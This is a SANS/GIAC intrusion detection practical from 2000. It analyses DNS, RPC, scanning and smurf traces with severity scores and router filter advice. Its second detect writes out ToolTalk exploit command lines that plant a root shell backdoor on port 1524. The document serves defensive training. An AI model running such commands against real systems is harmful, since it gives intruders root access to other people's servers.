Global Information Assurance Certification Paper

By: Raja Azrina Raja Othman
Title: GIAC Intrusion Detection Curriculum
Practical Assignments for SANS Security DC 2000 July 5-10, 2000, version 2.2.2

Assignment 1

Detect 1

Jul 14 05:27:37 monetra named[10324]: unapproved AXFR from
[206.0.195.3].4218 for "mo.my" (not master/slave)

Aug 9 02:58:57 monetra named[10324]: unapproved AXFR from
[166.62.169.24].1465 for "mo.my" (not master/slave)

1. Source of trace
   Bind exploit attempt.
   This was extracted from /var/log/daemon.
   IPs above are sanitized.

2. Detect was generated by:

   Manual analysis of the system log files.

3. Probability the source address was spoofed

   High.

4. Description of attack:

   The attack could be an attempt to list the domain or that the query was refused. Looking at the attempts coming from several IPs, we can assume that this could also be an attempt of unauthorized zone transfer. However the attempt had been unsuccessful, since the bind version running is bind 8.2.2 patch level 5.

   nxt CVE-1999-0833
   qinv CVE-1999-0009
   Other related entries: CVE-1999-0835, CVE-1999-0848, CVE-1999-0849, CVE-1999-0851

5. Attack mechanism:

   One of the best tool to do zone transfer can be obtained from (ftp://ftp.trinux.org/pub/trinux/tools/netmap/axfr-0.5.2.tar.gz) by Gaius.
   The zone transfer can be initiated using tools such as AXFR. Successful transfer can cause similar effect of poisoned cache.
   Some of the attack is described in http://www.cert.org/advisories/CA-99-14-bind.html

6. Correlations:

   We reported the incident to the originating IP, and it was confirmed a day later that it was confirmed that the attack had originated from their system and that their system was
   also compromised via bind exploit. They suspected the hacker exploited bind 8.2.1 on their machine. Other than their ps being rootkitted there were no other binaries replaced.

7. Evidence of active targeting:

   Definitely. Since the target organization is a important agency.

8. Severity:

Calculated with the formula you learned in class
(5 + 1) – (4 + 3) = -1
Criticality is 5 since the target is a DNS server.
Lethality is 1 since this is suspected an attempt – not successful.
System countermeasures is 4 since the system is a Sun solaris that is fairly patched.
Network countermeasures is 3 since the attempt reached the host, rather than blocked at the gateway.

9. Defensive recommendation:

It is recommended that a filter is added at the gateway router access-list to allow zone transfers from trusted servers only if the dns1-server is an external secondary server and the dns2-server is an internal nameserver, the access-list may look like the following:

```
access-list 1xx permit udp any eq 53                        host  <dns2-server> eq 53
access-list 1xx permit tcp host  <dns1-server>              host  <dns2-server> eq 53
access-list 1xx permit tcp any                              host  <dns2-server> established
!
access-list 1yy permit tcp host <dns2-server> eq 53         any eq 53
access-list 1yy permit tcp host <dns2-server> gt 1023       any eq 53
access-list 1yy permit tcp host <dns2-server> eq 53         host  <dns1-server> established
```

Note: 1xx incoming
1yy outgoing

This will allow UDP connections for server to server queries and limit the TCP connection for zone transfers to between defined hosts.

10. Multiple choice test question, write a question based on the trace and your analysis with your answer.

What best describes the above trace:

a) DNS Zone Transfer
b) DNS Inverse Query
c) DNS Version Scan
d) DNS buffer overflow

answer: a

Detect 2

[**] RPC Exploit [**]

Aug 29 09:53:37 ivweb1 /usr/dt/bin/rpc.ttdbserverd[9245]: _Tt_file_system::findBestMountPoint --max_match_entry is null, aborting...
Aug 29 09:53:37 ivweb1 inetd[141]: /usr/dt/bin/rpc.ttdbserverd: Segmentation Fault - core dumped
Aug 29 09:53:38 ivweb1 inetd[9247]: ingreslock/tcp: bind: Address already in use
Aug 29 09:53:38 ivweb1 last message repeated 4 times
Aug 29 09:53:39 ivweb1 inetd[141]: /usr/dt/bin/rpc.ttdbserverd: Illegal Instruction - core dumped
Aug 29 10:03:38 ivweb1 inetd[9247]: ingreslock/tcp: bind: Address already in use
Aug 29 10:13:38 ivweb1 inetd[9247]: ingreslock/tcp: bind: Address already in use
Aug 29 10:23:38 ivweb1 inetd[9247]: ingreslock/tcp: bind: Address already in use
Aug 29 10:33:38 ivweb1 inetd[9247]: ingreslock/tcp: bind: Address already in use

1. Source of trace

   This trace was extracted from a compromised server messages log. This is a successful rpc exploit attempt.

2. Detect was generated by:

   /var/adm/messages

3. Probability the source address was spoofed

   The last logs and local4 logs had been removed, thus fail to identify the originating IP.

4. Description of attack:

   Due to an implementation fault in rpc.ttdbserverd, it is possible for a malicious remote client to formulate an RPC message that will cause the server to overflow an automatic variable on the stack. By overwriting activation records stored on the stack, it is possible to force a transfer of control into arbitrary instructions provided by the attacker in the RPC message, and thus gain total control of the server process.

   rpc.ttdbserverd - CVE-1999-0687, CVE-1999-0003, CVE-1999-0693.

   other similar exploits:
   rpc.cmsd – CVE-1999-0696
   rpc.statd - CVE-1999-0018, CVE-1999-0019.

5. Attack mechanism:
   Example for Solaris2.6.

   a) The attacker will first learn about the rpc services via “rpcinfo -p hostname” command.

program	vers	proto	port	service
100068	2	udp	32779	
100068	3	udp	32779	
100068	4	udp	32779	
100068	5	udp	32779	

   b) Run ttdb exploit
   c) Create a backdoor listening at ingreslock port (1524) as root privilege.
      ./ttdb -6 -k victim.com "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >> /tmp/bob; /usr/sbin/inetd -s /tmp/bob"
      ./ttdb -6 victim.com "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob"
   d) Telnet to the victim using port 1524
   e) Game Over

6. Correlations:

No correlation due to after effect analysis of compromised host.

7. Evidence of active targeting:

Yes. The host is a web server.

8. Severity:

(Criticality + Lethality) – (System + Network countermeasures)
(4 + 5) – (3 - 2) = 4
Criticality is 4 since it involved a unix web server.
Lethality is 5 since the intruder can gain root access.
System countermeasures is 3 since host was not patched.
Network countermeasures is 2 since the query was allowed via the firewall.

9. Defensive recommendation:

The following recommendations were made:

a) Turn off and/or remove these RPC services on machines directly accessible through the Internet where ever possible.

b) Where you must run them, install the latest patches:

For Solaris Software Patches:
http://sunsolve.sun.com

Search the vendor patch database for tooltalk patches and install them right away.

c) A summary document pointing to specific guidance about each of three principal RPC vulnerabilities may be found at: http://www.cert.org/incident_notes/IN-99-04.html

10. Multiple choice test question, write a question based on the trace and your analysis with your answer.

What does the above logs best describe from:

a) Tooltalk exploit
b) DoS
c) Land attack
d) Bind exploit

answer: a

Detect 3

```
00:06:07.082022 200.241.187.2.4071 > a.b.c.210.53:
  S 1433022427:1433022427(0) win 32120
  <mss 1460,sackOK,timestamp 5689806 0,nop,wscale 0> (DF)
00:06:07.086982 200.241.187.2.4072 > a.b.c.211.53:
  S 1428334088:1428334088(0) win 32120
  <mss 1460,sackOK,timestamp 5689806 0,nop,wscale 0> (DF)
00:06:07.102684 a.b.c.202.53 > 200.241.187.2.4063:
  R 0:17(17) ack 1430593253 win 0 (DF)
00:06:07.121279 a.b.c.210.53 > 200.241.187.2.4071:
  S 1089158103:1089158103(0) ack 1433022428 win 14600
  <mss 1460,sackOK,timestamp 348021129 5689806,nop,wscale 0> (DF)
00:06:07.143740 a.b.c.211.53 > 200.241.187.2.4072:
  R 0:0(0) ack 1428334089 win 0
00:06:07.603177 200.241.187.2.4062 > a.b.c.201.53:
  S 1433365104:1433365104(0) win 32120
  <mss 1460,sackOK,timestamp 5689806 0,nop,wscale 0> (DF)
00:06:07.613847 200.241.187.2.4065 > a.b.c.204.53:
  S 1424176897:1424176897(0) win 32120
  <mss 1460,sackOK,timestamp 5689806 0,nop,wscale 0> (DF)
00:06:07.666083 a.b.c.201.53 > 200.241.187.2.4062:
  R 0:11(11) ack 1433365105 win 0 (DF)
00:06:07.679041 a.b.c.204.53 > 200.241.187.2.4065:
  S 1996167168:1996167168(0) ack 1424176898 win 17520 <mss 1460> (DF)
00:06:08.552437 200.241.187.2.4071 > a.b.c.210.53: . ack 1 win 32120
  <nop,nop,timestamp5689952 348021129> (DF)
00:06:08.975261 200.241.187.2.2942 > a.b.c.40.53:
  S 1430548238:1430548238(0) win 32120
  <mss 1460,sackOK,timestamp 5690011 0,nop,wscale 0> (DF)
```

1. Source of trace

This trace was reported by Leigh David Heyman at http://www.sans.org/y2k/081200.htm with the following message "I received this trace on July 25th, it appears to correlate quite nicely with the script posted yesterday by Vitaly McLain."

2. Detect was generated by:

The detect is tcpdump trace.

3. Probability the source address was spoofed

Low. The source IP is coming from a single IP and it is probably not spoofed if the theory is for purposes of reconnaissance still stands. A lookup on the IP registration is coming from a Brazillian Research Network, and chances are the host is compromised. Topping this up with the report from McLain, this enhances this theory.

4. Description of attack:

The attack is a targeted to a.b.c.x network.
However from the limited trace information above, I could gather that host a.b.c.210 and a.b.c.204 are running nameservice at port 53 thus the SYN stimulus was replied with a SYN ACK (red and pink)

respectively.
Host a.b.c.211 and a.b.c.201 on the other hand responded to the SYN packet with a RESET ACK (green and blue) respectively, which provides information that the hosts do not have listening nameservices running at port 53.
The attacker also learnt that port 53 is not filtered at the router for hosts not running such services. As described in *Anatomy of a Hack in Hacking Exposed by Stuart McClure, Joel Scambray and George Kurtz* , port scanning is the second phase after footprinting.

5. Attack mechanism:

The logs shows some effort of reconnaissance on domain services availability.

This type of attack can be generated by a tool such as pscan (a tcp scan tool) that can traverse the IP range, testing the desired port which in this case is port 53. In the above logs however I do not see the query for bind version using dig, since the data size is maintained at 0 since the 3 way handshake is not shown as completed in the above trace.

nxt CVE-1999-0833
qinv CVE-1999-0009
Other related entries: CVE-1999-0835, CVE-1999-0848, CVE-1999-0849, CVE-1999-0851

6. Correlations:

Vitaly McLain reported in http://www.sans.org/y2k/080900.htm
" Hi, I received a message from a person who had his machine compromised (most likely by a BIND exploit.) The attacker had intentions of scanning more machines for this hole. To do this, he had a simple portscanner named 'pscan' and a shell script called 'ibind.sh' (it's very sloppy, imho, but it should work.) This script uses 'pscan' to scan for open port 53 and query for the bind version using 'dig'…"

7. Evidence of active targeting:

No, since the probe is mainly on port 53 (domain) which is the most common attacked service.

8. Severity:

(Criticality + Lethality) – (System + Network countermeasures)
(4 + 1) – (4 + 2) = -1
Criticality is 4 since the target seems to be looking for DNS hosts.
Lethality is 1 since this is an attempt to learn more about a network.
System countermeasures is 4 since it is probably patched and wrapped.
Network countermeasures is 2 since the firewall seems to allow such query to traverse into the network.

9. Defensive recommendation:

The following recommendations can be considered:

a) The system administrator should apply filters at the firewall or gateway router to allow DNS query to only directed to the DNS servers. The filter should be applied for both TCP as well as UDP port 53.
b) Disable or remove BIND services on system that are not authorized to run the services.
c) On machines that are required to run the DNS services, ensure that the BIND software is updated to the latest version and patch level (as of May 22, 2000, latest version was 8.2.2 patch level 5).
d) Run BIND as a non-privileged user for protection in the event of future remote-compromise attacks.

10. Multiple choice test question, write a question based on the trace and your analysis with your answer.

What does the above trace best describes?
a) DNS zone transfer

b) TCP SYN attack
c) DNS query
d) DNS Reconnaissance

answer: d

Detect 4

[**] Telnet with SF [**]

Aug 01 2000, 07:14:44: 161.1.191.160.23 > 192.168.143.1.23: SF
Aug 01 2000, 07:14:44: 161.1.191.160.23 > 192.168.143.2.23: SF
Aug 01 2000, 07:14:44: 161.1.191.160.23 > 192.168.143.3.23: SF
Aug 01 2000, 07:14:44: 161.1.191.160.23 > 192.168.143.4.23: SF
Aug 01 2000, 07:14:44: 161.1.191.160.23 > 192.168.143.6.23: SF
Aug 01 2000, 07:14:44: 161.1.191.160.23 > 192.168.143.7.23: SF
Aug 01 2000, 07:14:44: 161.1.191.160.23 > 192.168.143.8.23: SF
Aug 01 2000, 07:14:44: 161.1.191.160.23 > 192.168.143.9.23: SF
Aug 01 2000, 07:14:44: 161.1.191.160.23 > 192.168.143.10.23: SF
Aug 01 2000, 07:14:44: 161.1.191.160.23 > 192.168.143.13.23: SF
...
Aug 01 2000, 07:14:52: 161.1.191.160.1723 > 192.168.143.187.23: S
Aug 01 2000, 07:14:54: 161.1.191.160.1724 > 192.168.143.189.23: S
Aug 01 2000, 07:14:55: 161.1.191.160.1725 > 192.168.143.220.23: S
Aug 01 2000, 07:14:59: 161.1.191.160.1717 > 192.168.143.138.23: F
Aug 01 2000, 07:15:04: 161.1.191.160.1721 > 192.168.143.171.23: F
...

1. Source of trace

Detect reported by a user.

2. Detect was generated by:

The detect is tcpdump trace.

3. Probability the source address was spoofed

Low.

4. Description of attack:

They detected suspicious and unwanted attempts to connect to port 23 (telnet) on many of their machines. All of these unauthorized connections apparently were initiated from a host on network, 161.1.191.160 (which was traced to a dialup IP). Nothing destructive was done to the target machines, and no data were compromised. They were high speed scans, and these could possibly slow down the network.

CVE version: 20000712
CAN-2000-0324 (CANDIDATE under review)

5. Attack mechanism:

The logs shows some effort of reconnaissance on telnet availability – this is host scanning. However the attacker seems to be trying out every IP in the network, possible signs of novice attempt.

This type of attack can be generated by a tool such as pscan (a tcp scan tool) that can traverse the IP range, testing the desired port which in this case is port 23. The scan is using SF flag possibly to defy Intruder Detection tools.

6. Correlations:

No correlation to other logs are available.

7. Evidence of active targeting:

No, since the attack is to various hosts in the same network. The purpose is probably for reconnaissance to identify hosts running telnet services.

8. Severity:

(Criticality + Lethality) – (System + Network countermeasures)
(2 + 1) – (4 + 2) = -3
Criticality is 2.
Lethality is 1 since this is an attempt to learn more about a network.
System countermeasures is 4 since it is probably patched and wrapped.
Network countermeasures is 2 since the firewall seems to allow such query to traverse into the network.

9. Defensive recommendation:

The following recommendations can be considered:

a) The system administrator should apply filters at the firewall or gateway router deny telnet packets. Use other secure remote shell services ie ssh.
b) Disable telnet services on all hosts.
c) On machines that are required to run telnet, ensure that the wrappers allow only connection from certain hosts within the private network.

10. Multiple choice test question, write a question based on the trace and your analysis with your answer.

What does the above trace best describes?
a) host scanning
b) DoS
c) port scanning
d) DNS Reconnaissance

answer: a

Detect 5

```
14:50:09.735797 P 202.160.241.130.8471 > MY.NET.33.141.30509: udp 64
 4500 005c 3f40 0000 2f11 ca4a caa0 f182
 **** 218d 2117 772d 0048 010f 0001 0203
 0405 0607 0809 0a0b 0c0d 0e0f 1011 1213
 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223
 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233
 3435 3637 3839 3a3b 3c3d 3e3f
14:50:09.779448 P 208.185.109.130.21027 > MY.NET.33.141.30520: udp 64
 4500 005c 7d36 0000 3111 083c d0b9 6d82
 **** 218d 5223 7738 0048 4ddf 0001 0203
 0405 0607 0809 0a0b 0c0d 0e0f 1011 1213
 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223
 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233
 3435 3637 3839 3a3b 3c3d 3e3f
14:50:10.144343 P 204.176.88.5.2965 > MY.NET.33.141.30509: udp 64
 4500 005c 431a 0000 3111 5bde ccb0 5805
 **** 218d 0b95 772d 0048 adfe 0001 0203
 0405 0607 0809 0a0b 0c0d 0e0f 1011 1213
 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223
 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233
 3435 3637 3839 3a3b 3c3d 3e3f
14:50:10.271287 P 63.236.82.135.4115 > MY.NET.33.141.30536: udp 64
 4500 005c b8ac 0000 3611 738e 3fec 5287
 **** 218d 1013 7748 0048 3ba8 0001 0203
 0405 0607 0809 0a0b 0c0d 0e0f 1011 1213
 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223
 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233
 3435 3637 3839 3a3b 3c3d 3e3f
14:50:10.418868 P 216.6.49.143.14366 > MY.NET.33.141.30481: udp 64
 4500 005c bab6 0000 3511 fb61 d806 318f
 **** 218d 381e 7711 0048 9cb1 0001 0203
 0405 0607 0809 0a0b 0c0d 0e0f 1011 1213
 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223
 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233
 3435 3637 3839 3a3b 3c3d 3e3f
```

1. Source of trace

   Extracted from http://www.sans.org/y2k/081200.htm reported by Dave Goldsmith

2. Detect was generated by:

   tcpdump –x to generate hex dump.

3. Probability the source address was spoofed

   High, since this looks like a coordinated attack with crafted payload.

4. Description of attack:

The same packet originated from 5 different IPs destined to one single host. Looking at the close time sequence this is definitely an act of network mapping, in order to determine which host makes up the external layer of the protected network. The choice of protocol in this case is UDP, thus the likelihood is using traceroute. The source port and destination port is quite random, and in the range of ephemeral port numbers.

The length of the IP datagram is 92bytes as highlighted in blue. This is made of 20bytes of IP header, and 72bytes length of UDP header. The length of the UDP packet, after subtracting 8bytes for the UDP header, leaves us with 64bytes of payload which tally with the tcpdump trace. The question is why would data from 5 different locations be sent to one single host, with identical payload, at almost the same time (differ in milliseconds)?

The host is probably a unix host since the traceroute is via UDP port.

5. Attack mechanism:

The attacker has crafted the packets quite nicely, however, left a signature in the payload. The originating IP could have been spoofed. The purpose is mainly to identify the routes of the traffic and the critical gateway. By analyzing traceroutes through 5 different routes, the attacker can derive to a map of the network.

6. Correlations:

The above logs is itself a correlation of a coordinated attack.

7. Evidence of active targeting:

Definitely.

8. Severity:

(Criticality + Lethality) – (System + Network countermeasures)
(5 + 2) – (4 + 4) = -1
Criticality is 5 since the objective is to discover the critical gateway.
Lethality is between 1 and 2 since this is a UDP scan it may not bring the network to its knees, but it provides information about the network layout.
System countermeasures is 4 since we assume the host may not be patched.
Network countermeasures is 4 since we assume that the network is probably well protected, thus the best way was to discover the network through some intelligent process i.e. network mapping.

9. Defensive recommendation:

This kind of activity is very difficult to prevent from penetrating into the network unless the network does not provide any public services, thus they can block ephemeral ports (high numbered ports) from coming into the network. However having an IDS that can filter probes that are more than ie. 10 attempts targeted to one host within the network within an hours log, should be notified to the system administrator. However this may cause false positive. It would be more accurate to keep track of the time within a minute.

10. Multiple choice test question, write a question based on the trace and your analysis with your answer.

The above log repeats with 12 different source IPs. What does the above trace best describe:

a) Wrong number, normal traceroute
b) UDP stimulus response
c) Network mapping
d) DNS query

answer: c

Assignment 2

Evaluate an Attack

Sat Jul 22 07:42:28 2000; ICMP; eth0; 92 bytes; from 62.11.128.182 to 172.28.1.0; echo request
Sat Jul 22 07:42:49 2000; ICMP; eth0; 92 bytes; from rm3-310.dialup.net to 172.28.1.0; echo request
Sat Jul 22 07:42:53 2000; ICMP; eth0; 92 bytes; from rm3-310.dialup.net to 172.28.1.0; echo request
Sat Jul 22 07:43:09 2000; ICMP; eth0; 92 bytes; from rm3-310.dialup.net to 172.28.1.0; echo request
Sat Jul 22 07:43:30 2000; ICMP; eth0; 92 bytes; from rm3-310.dialup.net to 172.28.1.0; echo request
Sat Jul 22 07:43:50 2000; ICMP; eth0; 92 bytes; from rm3-310.dialup.net to 172.28.1.0; echo request
Sat Jul 22 07:43:54 2000; ICMP; eth0; 92 bytes; from rm3-310.dialup.net to 172.28.1.0; echo request
Sat Jul 22 07:44:11 2000; ICMP; eth0; 92 bytes; from rm3-310.dialup.net to 172.28.1.0; echo request
Sat Jul 22 07:44:31 2000; ICMP; eth0; 92 bytes; from rm3-310.dialup.net to 172.28.1.0; echo request
Sat Jul 22 07:44:35 2000; ICMP; eth0; 92 bytes; from rm3-310.dialup.net to 172.28.1.0; echo request
Sat Jul 22 07:44:52 2000; ICMP; eth0; 92 bytes; from rm3-310.dialup.net to 172.28.1.0; echo request

1.Give the URL, location, or command that you acquired the attack.

This trace was reported by an organization in our constituency. The source and destination IP has been sanitized. The detect was generated by a network traffic monitoring software.
Syntax:
Daymmddtime; proto; interface; datagram size; srcIP to dstIP; code

2.Describe the attack including how it works

This is believed to be a Denial of Service attack or in more specific term an ICMP broadcast attack. The originating IP seems to be coming from a dial-up IP. Due to the speed of the attack, I strongly believe this is a smurf attack. It is a denial of service attack that can make the bandwidth crawl or halt the router. This definitely cannot be a ping o' death since the size of the packet is only 92bytes.

Because of the strong belief that the above is a smurf attack, thus it is a high possibility that the source IP was spoofed. No one would want to backfire their own connection. This is also based on the observation that the originating IP varies. Either it is spoofed, or they have a lot of resources to hide their tracks.

It was noticed there are 92bytes of packet, thus we were curious as to if this could be a DDoS in which there could be agents residing in the network which is attracting this traffic. Snort was run to capture some of the traffic.

Partial log (using snort):

08/15-15:17:12.543708 0:80:3E:9B:CF:EC -> FF:FF:FF:FF:FF:FF type:0x800
len:0x6A
128.x.x.128 -> 172.28.1.0 ICMP TTL:227 TOS:0x0 ID:9279
ID:0 Seq:0 ECHO
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....

08/15-15:17:12.543806 0:60:8:A3:9D:1F -> 0:80:3E:9B:CF:EC type:0x800
len:0x6A
172.28.1.144 -> 128.x.x.128 ICMP TTL:255 TOS:0x0 ID:33835
ID:0 Seq:0 ECHO REPLY
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....

We managed to capture the packet from a different source but of similar nature. There seems to be an echo request initiated from 128.x.x.128 to a broadcast address.

Then there was also some traces of an internal host "pinging" to an external host:

08/15-15:15:36.711415 0:A0:24:3:79:6F -> 0:80:3E:9B:CF:EC type:0x800
len:0x44
172.28.1.56 -> 129.25.3.11 ICMP TTL:128 TOS:0x0 ID:8233
ID:256 Seq:31491 ECHO
41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 ABCDEFGHIJKLMNOP
51 52 53 54 55 56 57 58 59 5A QRSTUVWXYZ

08/15-15:16:15.021216 0:80:3E:9B:CF:EC -> 0:A0:24:3:79:6F type:0x800
len:0x44
129.25.3.11 -> 161.139.88.56 ICMP TTL:233 TOS:0x0 ID:44728 DF
ID:256 Seq:31747 ECHO REPLY
41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 ABCDEFGHIJKLMNOP
51 52 53 54 55 56 57 58 59 5A QRSTUVWXYZ

The internal host was echoing to a foreign server however this time with a payload. The external host replies with an echo reply with the same payload. The machine happen to be a windows machine. Turning the machine off stopped the traffic. The host may be compromised. But due to some restrictions, I was unable to examine the PC further.

Severity calculations:

(Criticality + Lethality) – (System + Network countermeasures)
(5 + 5) – (3 + 3) = 4
Criticality is 5 since the attack is targeted to the critical gateway.
Lethality is 5 since this is capable of bringing the network to its knees.
System countermeasures is 3 since the router is not protected from this attack.
Network countermeasures is 3 since there was no firewall applied and the router is not well equipped with necessary access-list.

Recommendations:

Applying the following at the gateway router managed to stop the attack:

no ip-unreachable

access-list 1xx permit icmp any 172.28.1.0 0.0.0.255 echo-reply
access-list 1xx permit icmp any 172.28.1.0 0.0.0.255 time-exceeded
access-list 1xx permit icmp any 172.28.1.0 0.0.0.255 unreachable
!
access-list 1yy permit icmp 172.28.1.0 0.0.0.255 any echo
access-list 1yy permit udp 172.28.1.0 0.0.0.255 any gt 1023

! 1xx is your incoming filter
! 1yy is your outgoing filter

Purpose:
1. for ping, allow icmp echo request packets to escape from 172.28.1.0 network and echo reply to come back (one-way ping).
2. for traceroute, allow outgoing udp packets to escape and let time exceeded and unreachable msgs to come back.

Assignment 3

Scenerio

Your organization has been asked to provide a bid to provide security services
for this facility. You have been allowed to run a Snort system with a fairly standard rulebase for a month. From time to time, the power has failed, or the disk was full so you do not have data for all days. Your task is to analyze the data, be especially alert for signs of compromised systems or network problems and produce an analysis report.

Snort rules cover:

Back door activity	Backdoor attempts.	Backdoor Sig. Based
DdoS	Finger	FTP
MISC	Netbios	Overflow
Pings	RPC	Rservices
Scans	SMTP	Sysadmin
Telnet	Virus – SMTP Worms	WebCGI
Web-Coldfusion	Web FrontPage	Web-IIS
Web-Misc	High False Alerts	Beta Test Rules

Compromised Host(s)

05/24-14:18:10.929925 [**] SUNRPC highport access! [**] 128.8.10.141:23 -> MY.NET.2.203:32771
05/24-14:18:17.322477 [**] SUNRPC highport access! [**] 128.8.10.141:23 -> MY.NET.2.203:32771

05/27-22:47:39.173725 [**] SUNRPC highport access! [**] 199.60.228.130:7000 ->
MY.NET.97.106:32771
05/27-22:47:43.143379 [**] SUNRPC highport access! [**] 199.60.228.130:7000 ->
MY.NET.97.106:32771

The following hosts have high probability being compromised:

MY.NET.1.3
MY.NET.253.12
MY.NET.2.203
MY.NET.97.106
MY.NET.217.2

The first two machines seems to be heavily scanning other hosts in the network. It probably has nmap and other scanning tools loaded into it. It is advisable to immediately unplug the machine from the network before further damage is done to the machine. This pose a security breach to your network and possibly can effect other machines. MY.NET.253.12 seems to have been used as launching pad to gain access to other hosts in the network.

Recommendations: Since there is of high probability of a backdoor to be installed, it is advisable to reinstall the O/S. Before doing that ensure you have all your data backed up – please ensure that you do not back up compromised files or binaries. Conduct file integrity checks on your binaries.
The technique used to penetrate into these machines could be via SunRPC exploits since there are signs of successful connections via the RPC port.

SNMP Public String

05/25-09:49:50.437373 [**] SNMP public access [**] MY.NET.97.100:1053 -> MY.NET.101.192:161
05/25-09:49:52.178539 [**] SNMP public access [**] MY.NET.97.100:1054 -> MY.NET.101.192:161
05/25-09:49:52.388432 [**] SNMP public access [**] MY.NET.97.100:1054 -> MY.NET.101.192:161

The above shows and many more parts of the findings indicate that your router is using default SNMP community strings on your device router or host. This is not advisable since it will allow perpetrators to exploit such settings to learn about your network information.

Recommendations: It is suggested that the community string is changed to a more difficult to guess string of characters.

Watchlist

Email to/from China

05/24-06:43:27.768702 [**] Watchlist 000222 NET-NCFC [**] 159.226.21.134:1154 -> MY.NET.6.47:25

05/23-03:27:52.421919 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.3:2018 -> MY.NET.253.43:25

05/23-12:47:58.156235 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.3:2832 -> MY.NET.253.41:25
05/23-12:49:29.280328 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.3:2832 -> MY.NET.253.41:25

There seems to be a lot of traffic including email traffic to/from quite a few China IP 159.226.5.x, 159.226.21.x and 159.226.45.x. One specific host that seems to be the target is host MY.NET.253.41. The length of time taken to send those emails ranges from 2 to 14 minutes. This indicate either there are some images or large attachments being sent in the email.

Official name: aphy.iphy.ac.cn
Addresses: 159.226.45.3
Registrant:
The Computer Network Center Chinese Academy of Sciences (NET-NCFC)
P.O. Box 2704-10,
Institute of Computing Technology Chinese Academy of Sciences
Beijing 100080, China

Recommendation: You may want to examine what kind of email that was sent to your hosts. It could be due to some third party relay service running on your hosts. Eventually, you may want to block such unnecessary traffic from going through your network. You can turn off the third party relay service by making the necessary adjustments to your email server configuration.

Suspicious traffic to/from Israel

05/24-01:57:25.752327 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.44.36:1213 -> MY.NET.217.86:6346

05/23-12:45:31.934602 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.31.8:3120 -> MY.NET.201.122:5500

05/23-12:45:35.035829 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.31.8:3120 -> MY.NET.201.122:5500

05/23-15:16:49.156576 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.26.233:6700 -> MY.NET.203.194:1289

I observed a lot of traffic to/from Israel network. One thing in particular, there seems to be a lot of traffic directed to port 5500 of host MY.NET.201.122. There is a high possibility that the host has been compromised and had been installed with a backdoor. The IP is traced to the following registrant:

Official name: bzq-44-36.bezeqint.net
Addresses: 212.179.44.36
Registrant:
Bezeq International (BEZEQINT2-DOM)
40 Hashacham St.
Petach Tikva, Israel 49170
IL

Recommendation: You may want to examine host MY.NET.201.122 for any sign of backdoor on the system. Eventually, you may want to block such unnecessary traffic coming into your network. Such high numbered port access should be blocked to reduce the risk of non-hardened hosts being compromised.

Wingate

05/27-02:33:28.542750 [**] WinGate 8080 Attempt [**] 172.138.111.78:1538 -> MY.NET.97.203:8080
05/27-09:11:17.502233 [**] WinGate 8080 Attempt [**] 207.200.65.149:52905 -> MY.NET.99.85:8080
05/27-11:07:06.452393 [**] WinGate 8080 Attempt [**] 24.3.26.53:1043 -> MY.NET.253.105:8080
05/27-11:15:20.152082 [**] WinGate 8080 Attempt [**] 62.172.199.20:44246 -> MY.NET.100.59:8080

05/28-02:13:14.018833 [**] WinGate 1080 Attempt [**] 195.159.0.151:3537 -> MY.NET.97.230:1080
05/28-02:13:37.983801 [**] WinGate 1080 Attempt [**] 195.159.0.151:3537 -> MY.NET.97.230:1080

There seems to be a lot of external winsock traffic directed to the above hosts. It is believed that these hosts may have wingate sniffers running due to heavy, repeated traffic to these hosts:
MY.NET.253.105
MY.NET.99.85
MY.NET.97.203
MY.NET.100.59

Recommendation: It is advisable to check and remove wingate sniffers from the hosts. Do also check of any signs of other files being compromised.

Tiny Fragment

05/25-19:37:40.168511 [**] Tiny Fragments - Possible Hostile Activity [**] 24.3.7.221 -> MY.NET.70.121
05/25-19:37:49.340254 [**] Tiny Fragments - Possible Hostile Activity [**] 24.3.7.221 -> MY.NET.70.121

There are also signs of tiny fragment traffic, which means the packet has been fragmented smaller than the normal size done by the operating system. This indicates a possible covert communications channel to send payload that contains malicious codes or commands. The purpose is mainly to defy intruder detection systems which do not reassemble packet before examining them.

Recommendation: study the target machines for signs of trojan or backdoor.

SMB Wildcard

05/24-20:51:59.849467 [**] SMB Name Wildcard [**] 166.90.30.149:137 -> MY.NET.100.130:137

The network gateway seems to be allowing netbios traffic into the network. Quite heavy scanning were noticed happening via the gateway. Such traffic should be prevented from penetrating into or escaping from the network. Such activity would allow one to learn the shared directories, and other services within the network.

Recommendations: Block port 137 at the Internet gateway.

Telnet traffic

05/29-07:32:41.151883 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.19.10:23
05/29-07:32:41.152015 [**] NMAP TCP ping! [**] MY.NET.253.12:43756 -> MY.NET.19.10:23
05/29-07:32:44.619571 [**] Null scan! [**] MY.NET.253.12:43754 -> MY.NET.19.10:23
05/29-07:32:51.529293 [**] Null scan! [**] MY.NET.253.12:43754 -> MY.NET.19.10:23
